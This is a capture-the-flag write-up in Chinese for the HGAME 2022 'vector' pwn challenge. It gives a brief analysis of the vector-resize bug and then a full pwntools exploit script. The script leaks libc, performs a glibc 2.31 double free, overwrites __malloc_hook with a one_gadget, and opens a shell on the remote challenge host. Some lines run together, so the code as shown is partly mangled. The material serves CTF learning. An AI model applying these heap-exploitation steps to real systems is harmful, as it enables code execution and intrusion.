PWN-COMPETITION-HGAME2022-Week4
- vector
vector
c++写的pwn,实现了vector,没有edit功能,新增了move功能
add或move时,如果输入的下标大于vector的size,vector会进行resize扩容
旧vector占用的chunk自动被free掉进入相应的bin,数据转移到新vector中
利用add时的vector扩容,free掉size大于0x410的chunk,使其进入unsorted bin,泄露libc
利用move时的vector扩容,可以造成新vector中有两个元素指向同一chunk,于是可以double free
# -*- coding:utf-8 -*-
from pwn import *
from pwnlib.util.iters import mbruteforce
import itertools
import hashlib
#context.log_level="debug"
is_remote=1
#io=process("./vector")
io=remote("chuj.top",53180)
elf=ELF("./vector")
libc=ELF("./libc.so.6")#gdb.attach(io)
#pause()io.recvuntil("sha256(????) == ")
code=io.recvuntil("\n")[:-1]
charset = string.printable
proof = mbruteforce(lambda x: hashlib.sha256((x).encode()).hexdigest() == code, charset, 4, method='fixed')
io.sendlineafter("????> ",proof)def add(index,size,content):io.sendlineafter(">> ","1")io.sendlineafter("ndex?\n>> ",str(index))io.sendlineafter("size?\n>> ",str(size))# 0~0x100io.sendafter("content?\n>> ",content)
def show(index):io.sendlineafter(">> ","3")io.sendlineafter("ndex?\n>> ",str(index))
def free(index):io.sendlineafter(">> ","4")io.sendlineafter("ndex?\n>> ",str(index))
def move(index,index_move_to):io.sendlineafter(">> ","5")for i in range(index):io.sendlineafter("[1/0]\n>> ","0")io.sendlineafter("[1/0]\n>> ","1")if is_remote: io.sendlineafter("copy to?\n>> ",str(index_move_to))else:io.sendlineafter("move to?\n>> ",str(index_move_to))#pause()add(0,0x18,"a"*8)#pause()add(130,0x18,"b"*8)#pause()#vector扩容,原来的vector会进入unsorted bin
#这里会从unsorted bin中切割一块0x20大小的chunk
#不输入,fd和bk均指向一个相对于main_arena偏移固定的地址
add(132,0,"")##pause()#泄露libc
show(132)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1EBFD0
print("libc_base=="+hex(libc_base))
__malloc_hook=libc_base+libc.sym["__malloc_hook"]
print("__malloc_hook=="+hex(__malloc_hook))
realloc=libc_base+libc.sym["realloc"]
print("realloc=="+hex(realloc))
__free_hook=libc_base+libc.sym["__free_hook"]
print("__free_hook=="+hex(__free_hook))
oggs=[0xe6c7e,0xe6c81,0xe6c84]
ogg=libc_base+oggs[0]
print("ogg=="+hex(ogg))#pause()#用完unsorted bin
for i in range(1,5):add(i,0x100-8,"d"*8)#pause()#7个0x70大小的chunk,free后进入tcache
for i in range(5,12):add(i,0x68,"e"*8)#pause()#2个0x70大小的chunk,free后进入fastbin
add(12,0x68,"f"*8)
add(13,0x68,"g"*8)#pause()#这里会让vector[12]和vector[262]指向同一个chunk,可用于double free
move(12,262)#pause()#填满0x70大小的chunk
for i in range(5,12):free(i)#pause()#double free的第一次free
free(12)#pause()#glibc 2.31,利用fastbin attack绕过double free检测
free(13)#pause()#double free的第二次free
free(262)#pause()#将tcache中0x70大小的chunk用完
for i in range(5,12):add(i,0x68,"e"*8)#pause()#从fastbin中取出一个0x70大小的chunk,覆盖其fd为__realloc_hook
#取出后,stash会把fastbin链表中的chunk全部放入tcache中
print("__malloc_hook=="+hex(__malloc_hook))
add(14,0x68,p64(__malloc_hook-0x8))#pause()#取出tcache中的两个0x70大小的chunk
add(15,0x68,"P1umH0")
add(16,0x68,"P1umH0")#pause()#这次malloc会将__realloc_hook覆写为ogg,__malloc_hook覆写为realloc真实地址
print("ogg=="+hex(ogg))
add(17,0x68,p64(ogg)+p64(realloc))#pause()#getshell
io.sendlineafter(">> ","1")
io.sendlineafter("ndex?\n>> ",str(18))
io.sendlineafter("size?\n>> ",str(0))io.sendline("cat flag")io.interactive()